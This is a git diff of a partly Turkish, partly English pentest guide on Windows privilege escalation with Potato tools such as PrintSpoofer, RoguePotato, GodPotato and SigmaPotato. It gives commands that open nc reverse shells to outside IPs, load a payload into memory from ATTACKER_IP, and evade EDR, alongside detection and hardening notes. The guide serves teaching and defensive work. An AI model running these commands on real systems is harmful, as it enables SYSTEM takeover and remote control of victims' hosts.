ve bağlantılarını izleyin. Sysmon Event IDs 17 (Pipe Created) ve 18 (Pipe Connected), meşru pipe isimlerini temel alıp token-manipulation olaylarından önce gelen alışılmadık, rastgele görünen pipe'ları yakalamak için faydalıdır. -- Aşağıdaki sıra dizilerini arayın: bir süreç bir pipe oluşturur, bir SYSTEM servisi bağlanır, ardından oluşturan süreç SYSTEM olarak bir çocuk başlatır. -- Gereksiz servis hesaplarından SeImpersonatePrivilege'i kaldırarak ve yüksek ayrıcalıklı gereksiz servis logonlarından kaçınarak maruziyeti azaltın. -- Defansif geliştirme: güvensiz named pipe'lara bağlanırken, gerektiği durumlar dışında sunucuların istemciyi tam olarak taklit etmesini engellemek için SECURITY_SQOS_PRESENT ile SECURITY_IDENTIFICATION belirtin. +## Tespit ve sertleştirme +- Named pipe oluşturulmasını ve bağlantıları izleyin. Sysmon Event IDs 17 (Pipe Created) ve 18 (Pipe Connected), meşru pipe isimlerini temel almak ve token-manipülasyon olaylarından önce görülen sıra dışı, rastgele görünümlü pipe'ları yakalamak için kullanışlıdır. +- Aşağıdaki dizilimlere bakın: bir process pipe oluşturur, bir SYSTEM service bağlanır, sonra pipe'ı oluşturan process SYSTEM olarak bir child spawn eder. +- Gereksiz servis hesaplarından SeImpersonatePrivilege'i kaldırarak ve yüksek ayrıcalıklı gereksiz service logon'larından kaçınarak maruziyeti azaltın. +- Savunmacı geliştirme: güvenilmeyen named pipe'lara bağlanırken, sunucuların gerektiğinde haricinde client'ı tam taklit etmesini engellemek için SECURITY_SQOS_PRESENT ile SECURITY_IDENTIFICATION belirtin. ## References - Windows: ImpersonateNamedPipeClient documentation (impersonation requirements and behavior). https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient diff --git a/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md b/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md index b7b053647..5e7cf14fb 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md +++ b/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md @@ -3,10 +3,10 @@ {{#include ../../banners/hacktricks-training.md}} > [!WARNING] -> **JuicyPotato artık çalışmıyor** Windows Server 2019 ve Windows 10 build 1809 ve sonrası. Ancak, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** kullanılabilir **aynı ayrıcalıkları kullanmak ve `NT AUTHORITY\SYSTEM` seviyesinde erişim elde etmek**. Bu [blog yazısı](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) `PrintSpoofer` aracını derinlemesine inceliyor; bu araç JuicyPotato'nun artık çalışmadığı Windows 10 ve Server 2019 makinelerinde impersonation ayrıcalıklarını kötüye kullanmak için kullanılabilir. +> **JuicyPotato doesn't work** on Windows Server 2019 and Windows 10 build 1809 onwards. However, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** can be used to **leverage the same privileges and gain `NT AUTHORITY\SYSTEM`** level access. This [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) goes in-depth on the `PrintSpoofer` tool, which can be used to abuse impersonation privileges on Windows 10 and Server 2019 hosts where JuicyPotato no longer works. > [!TIP] -> 2024–2025'te sıkça bakım yapılan modern bir alternatif SigmaPotato (a fork of GodPotato) olup in-memory/.NET reflection kullanımını ve genişletilmiş OS desteğini ekler. Aşağıda hızlı kullanım ve Referanslar bölümündeki repo'ya bakın. +> A modern alternative frequently maintained in 2024–2025 is SigmaPotato (a fork of GodPotato) which adds in-memory/.NET reflection usage and extended OS support. See quick usage below and the repo in References. Related pages for background and manual techniques: @@ -24,10 +24,10 @@ privilege-escalation-abusing-tokens.md ## Gereksinimler ve yaygın tuzaklar -Aşağıdaki tüm teknikler, aşağıdaki ayrıcalıklardan birine sahip bir bağlamdan impersonation yeteneği olan ayrıcalıklı bir servisi kötüye kullanmaya dayanır: +Aşağıdaki tekniklerin tümü, impersonation yeteneğine sahip ayrıcalıklı bir servisi, aşağıdaki ayrıcalıklardan birine sahip bir bağlamdan kötüye kullanmaya dayanır: - SeImpersonatePrivilege (en yaygın) veya SeAssignPrimaryTokenPrivilege -- Token zaten SeImpersonatePrivilege içeriyorsa yüksek bütünlük (High integrity) gerekmez (IIS AppPool, MSSQL gibi birçok servis hesabı için tipiktir). +- High integrity, token zaten SeImpersonatePrivilege içeriyorsa gerekli değildir (IIS AppPool, MSSQL gibi birçok servis hesabı için tipik). Ayrıcalıkları hızlıca kontrol edin: ```cmd @@ -35,12 +35,12 @@ whoami /priv | findstr /i impersonate ``` Operasyonel notlar: -- PrintSpoofer, Print Spooler servisinin çalışıyor olmasını ve yerel RPC endpoint'i (spoolss) üzerinden erişilebilir olmasını gerektirir. PrintNightmare sonrası Spooler'ın devre dışı bırakıldığı sertleştirilmiş ortamlarda RoguePotato/GodPotato/DCOMPotato/EfsPotato'yu tercih edin. -- RoguePotato, TCP/135 üzerinden erişilebilir bir OXID resolver gerektirir. Egress engelliyse bir redirector/port-forwarder kullanın (aşağıdaki örneğe bakın). Eski sürümler -f flag'ini gerektiriyordu. -- EfsPotato/SharpEfsPotato MS-EFSR'i kötüye kullanır; eğer bir pipe engellenmişse, alternatif pipe'ları deneyin (lsarpc, efsrpc, samr, lsass, netlogon). -- RpcBindingSetAuthInfo sırasında görülen 0x6d3 hatası genellikle bilinmeyen/desteklenmeyen RPC kimlik doğrulama servisini gösterir; farklı bir pipe/transport deneyin veya hedef servisin çalıştığından emin olun. +- PrintSpoofer, Print Spooler servisinin çalışıyor olmasını ve yerel RPC uç noktası (spoolss) üzerinden erişilebilir olmasını gerektirir. PrintNightmare sonrası Spooler'ın devre dışı bırakıldığı sertleştirilmiş ortamlarda RoguePotato/GodPotato/DCOMPotato/EfsPotato tercih edin. +- RoguePotato, TCP/135 üzerinden erişilebilir bir OXID resolver gerektirir. Egress engelliyse bir redirector/port-forwarder kullanın (aşağıdaki örneğe bakın). Eski build'ler -f bayrağına ihtiyaç duyuyordu. +- EfsPotato/SharpEfsPotato MS-EFSR'i kötüye kullanır; eğer bir pipe engellenmişse alternatif pipe'ları deneyin (lsarpc, efsrpc, samr, lsass, netlogon). +- RpcBindingSetAuthInfo sırasında oluşan Error 0x6d3 genellikle bilinmeyen/desteklenmeyen bir RPC kimlik doğrulama servisini gösterir; farklı bir pipe/transport deneyin ya da hedef servisin çalıştığından emin olun. -## Quick Demo +## Hızlı Demo ### PrintSpoofer ```bash @@ -58,8 +58,8 @@ NULL ``` Notlar: -- -i ile mevcut konsolda etkileşimli bir süreç başlatabilir veya -c ile tek satırlık bir komut çalıştırabilirsiniz. -- Spooler servisi gerektirir. Devre dışıysa, bu başarısız olur. +- Mevcut konsolda etkileşimli bir süreç başlatmak için -i, tek satırlık bir komut çalıştırmak için -c kullanabilirsiniz. +- Spooler service gerektirir. Devre dışıysa bu başarısız olur. ### RoguePotato ```bash @@ -67,7 +67,7 @@ c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -l # In some old versions you need to use the "-f" param c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f 9999 ``` -Eğer outbound 135 engelliyse, redirector'ınızda socat ile OXID resolver'ı pivotlayın: +Eğer outbound 135 engellenmişse, redirector üzerinde socat ile OXID resolver'ı pivot edin: ```bash # On attacker redirector (must listen on TCP/135 and forward to victim:9999) socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999 @@ -111,7 +111,7 @@ CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes su nt authority\system ``` -İpucu: Eğer bir pipe başarısız olursa veya EDR bunu engellerse, diğer desteklenen pipes'leri deneyin: +İpucu: Bir pipe başarısız olursa veya EDR bunu engelliyorsa, diğer desteklenen pipe'leri deneyin: ```text EfsPotato [pipe] pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc) @@ -122,14 +122,14 @@ pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc) # You can achieve a reverse shell like this. > GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012" ``` -Notes: -- SeImpersonatePrivilege mevcut olduğunda Windows 8/8.1–11 ve Server 2012–2022 genelinde çalışır. +Notlar: +- SeImpersonatePrivilege mevcut olduğunda Windows 8/8.1–11 ve Server 2012–2022'de çalışır. ### DCOMPotato ![image](https://github.com/user-attachments/assets/a3153095-e298-4a4b-ab23-b55513b60caa) -DCOMPotato, varsayılan olarak RPC_C_IMP_LEVEL_IMPERSONATE olan servis DCOM nesnelerini hedefleyen iki varyant sağlar. Sağlanan ikili dosyaları derleyin veya kullanın ve komutunuzu çalıştırın: +DCOMPotato, varsayılan olarak RPC_C_IMP_LEVEL_IMPERSONATE olan hizmet DCOM nesnelerini hedefleyen iki varyant sağlar. Sağlanan ikili dosyaları derleyin veya kullanın ve komutunuzu çalıştırın: ```cmd # PrinterNotify variant PrinterNotifyPotato.exe "cmd /c whoami" @@ -137,9 +137,9 @@ PrinterNotifyPotato.exe "cmd /c whoami" # McpManagementService variant (Server 2022 also) McpManagementPotato.exe "cmd /c whoami" ``` -### SigmaPotato (güncellenmiş GodPotato fork'ı) +### SigmaPotato (güncellenmiş GodPotato fork) -SigmaPotato, .NET reflection aracılığıyla bellek içi yürütme ve bir PowerShell reverse shell yardımcısı gibi modern kolaylıklar ekler. +SigmaPotato, .NET reflection aracılığıyla in-memory execution ve PowerShell reverse shell helper gibi modern kolaylıklar ekler. ```powershell # Load and execute from memory (no disk touch) [System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData("http://ATTACKER_IP/SigmaPotato.exe")) @@ -150,11 +150,11 @@ SigmaPotato, .NET reflection aracılığıyla bellek içi yürütme ve bir Power ``` ## Tespit ve sertleştirme notları -- İzleyin: named pipes oluşturan ve hemen token-duplication APIs çağırıp CreateProcessAsUser/CreateProcessWithTokenW ile devam eden süreçleri. Sysmon faydalı telemetri sağlayabilir: Event ID 1 (process creation), 17/18 (named pipe created/connected), ve SYSTEM olarak çocuk süreçler başlatan komut satırları. -- Spooler hardening: Print Spooler servisinin gerekmediği sunucularda devre dışı bırakılması, spoolss aracılığıyla PrintSpoofer-style yerel coercions'u engeller. -- Service account hardening: SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege atamasını özel servislere mümkün olduğunca sınırlayın. Servisleri gerekirse en az gerekli ayrıcalıkla virtual accounts altında çalıştırmayı ve mümkünse service SID ile izole edip write-restricted tokens kullanmayı değerlendirin. -- Network controls: Çıkış TCP/135'i engellemek veya RPC endpoint mapper trafiğini kısıtlamak, dahili bir redirector yoksa RoguePotato'yu bozabilir. -- EDR/AV: Bu araçların tümü yaygın şekilde signature'lanmıştır. Recompiling from source, renaming symbols/strings, veya in-memory execution kullanmak tespiti azaltabilir ama sağlam behavioral detections'ı yenmez. +- Monitor for processes creating named pipes and immediately calling token-duplication APIs followed by CreateProcessAsUser/CreateProcessWithTokenW. Sysmon can surface useful telemetry: Event ID 1 (process creation), 17/18 (named pipe created/connected), and command lines spawning child processes as SYSTEM. +- Spooler sertleştirmesi: Gereksiz olduğu sunucularda Print Spooler servisini devre dışı bırakmak, spoolss aracılığıyla gerçekleşen PrintSpoofer-style yerel suistimalleri engeller. +- Hizmet hesabı sertleştirmesi: Özel servislere SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege atamasını en aza indirin. Mümkünse servisleri virtual accounts altında gerekli en düşük ayrıcalıklarla çalıştırmayı ve service SID ile write-restricted tokens kullanarak izole etmeyi düşünün. +- Network kontrolleri: Outbound TCP/135 trafiğini engellemek veya RPC endpoint mapper trafiğini kısıtlamak, bir internal redirector yoksa RoguePotato'yu bozabilir. +- EDR/AV: Bu araçların tamamı yaygın şekilde signatured. Kaynaktan yeniden derlemek, symbols/strings'i yeniden adlandırmak veya in-memory execution kullanmak tespiti azaltabilir ancak sağlam davranış tabanlı tespitleri aşmaz. ## Referanslar